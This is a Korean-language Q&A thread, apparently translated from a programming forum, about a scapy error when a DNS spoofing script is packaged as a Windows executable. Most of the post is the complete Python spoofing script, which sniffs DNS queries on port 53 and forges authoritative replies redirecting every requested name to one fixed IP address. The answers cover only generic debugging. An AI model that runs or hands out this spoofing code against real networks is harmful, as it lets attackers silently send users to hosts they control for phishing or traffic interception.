2014-06-24 3 views
1

저는 Windows XP에서 python 2.7 및 scapy-2.2.0을 사용하고 있습니다. DNS 스푸핑을 시도하고 있는데 파이썬에서 잘 작동합니다. 하지만 .exe를 만들어 실행하면이 오류가 발생합니다.scapy OSError : [Errno 9] 잘못된 파일 설명자

Traceback (most recent call last): 
File "dns_spoof.py", line 17, in <module> 
File "scapy\arch\windows\__init__.pyc", line 523, in sniff 
File "dns_spoof.py", line 15, in dns_spoof 
File "scapy\sendrecv.pyc", line 251, in send 
File "scapy\sendrecv.pyc", line 237, in __gen_send 
OSError: [Errno 9] Bad file descriptor 

어떻게 해결할 수 있습니까? 도와주세요.

이것은 소스 코드입니다.

import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 
try: 
    from scapy.all import * 
except: 
    from scapy import * 
def dns_spoof(pkt): 
    redirect_to = '172.16.22.91' 
    if pkt.haslayer(DNSQR): # DNS question record 
     spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ 
         UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ 
         DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \ 
         an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to)) 
     send(spoofed_pkt) 
     print 'Sent:', spoofed_pkt.summary() 
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof) 

답변

0

잘못된 파일 설명자 (핸들)가 사용되고있는 것처럼 보입니다. 예 : stdout (파이프)로 열리는 것이 소켓으로 사용됩니다.

정확하게 이해하면 같은 프로그램이 원본에서 작동하며 exe에 롤백 될 때 실패합니다. 내가 맞습니까?

Linux에서 실행 한 경우 strace을 사용하여 알아낼 수 있습니다.

Windows의 동등한 도구는 Process MonitorLogger.exe입니다.

+1

감사합니다. 해결했습니다. 소스 코드에서 문자 문제 ('\')가 발생했습니다. – user3769936

관련 문제